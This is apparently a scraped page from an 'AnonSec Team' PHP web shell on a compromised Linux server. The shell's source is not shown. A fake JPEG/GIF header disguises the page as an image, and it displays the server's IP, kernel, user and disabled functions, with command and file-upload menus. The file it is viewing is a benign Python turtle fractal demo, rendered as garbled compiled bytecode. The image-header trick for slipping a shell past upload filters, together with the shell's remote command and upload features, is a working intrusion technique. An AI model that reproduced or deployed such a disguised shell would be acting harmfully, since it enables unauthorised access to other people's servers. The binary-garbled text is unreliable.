����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������ Xzourt Bypazz

Upload your file


�����x������x������C�     ���C   ����<�d"�������������� �������}�!1AQa"q2���#B��R��$3br� %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������������� ������w�!1AQaq"2�B���� #3R�br� $4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������ ��?��S��(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(��ÿØÿà JFIF ÿþ;GIF89;aGIF89;aGIF89;a AnonSec Team
AnonSec Team
Server IP : 103.191.208.227  /  Your IP : 3.147.45.25
Web Server : LiteSpeed
System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
User : mhmsfzcs ( 1485)
PHP Version : 8.1.31
Disable Function : show_source, system, shell_exec, passthru, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /lib64/NetworkManager/../rsyslog/../dovecot/../python2.7/Demo/turtle/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //lib64/NetworkManager/../rsyslog/../dovecot/../python2.7/Demo/turtle/tdemo_fractalcurves.pyc
�
Afc@smdZddlTddlmZmZdefd��YZd�Zedkrie�Z	e	GHe
�ndS(	s&      turtle-example-suite:

        tdemo_fractalCurves.py

This program draws two fractal-curve-designs:
(1) A hilbert curve (in a box)
(2) A combination of Koch-curves.

The CurvesTurtle class and the fractal-curve-
methods are taken from the PythonCard example
scripts for turtle-graphics.
i����(t*(tsleeptclocktCurvesTurtlecBs#eZd�Zd�Zd�ZRS(cCs�|dkrdS|j|d�|j||d|�|j|�|j|d�|j||d|�|j|�|j||d|�|j|d�|j|�|j||d|�|j|d�dS(NiiZi(tleftthilberttforwardtright(tselftsizetleveltparity((s7/usr/lib64/python2.7/Demo/turtle/tdemo_fractalcurves.pyRs


cCs�ddl}d||j|j|�}|j�|j|�|j�|jdd|d|�x8t|�D]*}|j|||�|jd|�quW|j	dd|d|�|j�|j
|�|j�dS(Ni����ii�iZih(tmathtsintpitputfdtpdtrttrangetfractaltlttbk(RtntradtlevtdirRtedgeti((s7/usr/lib64/python2.7/Demo/turtle/tdemo_fractalcurves.pyt
fractalgon/s




cCs�|dkr|j|�dS|j|d|d|�|jd|�|j|d|d|�|jd|�|j|d|d|�|jd|�|j|d|d|�dS(Niii<ix(RRRR(RtdisttdepthR((s7/usr/lib64/python2.7/Demo/turtle/tdemo_fractalcurves.pyRBs
(t__name__t
__module__RRR(((s7/usr/lib64/python2.7/Demo/turtle/tdemo_fractalcurves.pyRs		cCsrt�}|j�|jd�|j�|jdd�|j�d}|jd|d|�|j�t�}|j	d�|j
t�|j|�|j
|dd�|j|�x:td�D],}|jd�|j|d	|d
�q�W|j�x.td
�D] }|j|�|jd�qW|j�x:td�D],}|j|d|d
�|jd�qKW|j
t�t�}d
||}td�|j�|jd�|j�|jdd�t�}|jdd�|j
t�|jdddd�|j
t�|jd�|jdddd�|j
t�t�}|d||7}|S(Niiii���i��trediiZi@iiiBsHilbert: %.2fsec. tblacktbluei�i�i����sKoch: %.2fsec.(RtresettspeedthtttracerRtsetposRRt	fillcolortfilltTrueRRRRRtFalseRtcolorR(tftR	ttaRttbtres((s7/usr/lib64/python2.7/Demo/turtle/tdemo_fractalcurves.pytmainNsZ	




	








	



	



	t__main__N(t__doc__tturtlettimeRRtPenRR3R tmsgtmainloop(((s7/usr/lib64/python2.7/Demo/turtle/tdemo_fractalcurves.pyt<module>
s
=	8	

AnonSec - 2021